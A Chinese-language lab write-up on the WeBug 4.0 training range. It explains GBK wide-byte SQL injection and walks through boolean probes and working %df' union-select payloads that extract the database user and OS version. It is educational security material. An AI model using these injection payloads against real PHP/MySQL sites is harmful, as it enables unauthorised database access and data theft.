感谢webug团队一直以来的更新维护!
WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。
Webug官网:http://www.webug.org
Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy
来源:226安全团队
微信号:safeteam226
关于宽字节注入,我是参考https://blog.csdn.net/helloc0de/article/details/76180190学习的,下面我复制关键内容过来。
字符、字符集 字符(character)是组成字符集(character set)的基本单位。对字符赋予一个数值(encoding)来确定这个字符在该字符集中的位置。
UTF8 由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节 GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
1.MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2.进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
使用每个数据字段的CHARACTER SET设定值;
若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
若上述值不存在,则使用character_set_server设定值。
将操作结果从内部操作字符集转换为character_set_results。
重点:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\
符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。
宽字节注入的话,id=1,猜测下SQL语句是:
select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)
在直接上%df'前还是照常理来测试一遍吧,万一发现其他漏洞了呢
假设$id为数字型:
url?id=1 and 1=2 %23,无反应
假设$id为字符型:
括号:url?id=1) and 1=2 %23,无反应
双引号:url?id=1" and 1=2 %23,无反应
单引号:url?id=1' and 1=2 %23,无反应
括号+双引号:url?id=1") and 1=2 %23,无反应
括号+单引号:url?id=1') and 1=2 %23,无反应
上宽字节注入:
url?id=1%df',出现错误了
从这里开始就和第一关的显错注入一样了
比如用户名
url:id=%df' union select 1,user() %23
比如操作系统名
url:id=%df' union select 1,@@version_compile_os %23
2019/5/17:增加查询Flag
这个太麻烦了,有毅力的读者请参照第一关的思路来弄吧,弄的时候需要注意flag值可能在其他表、其他库。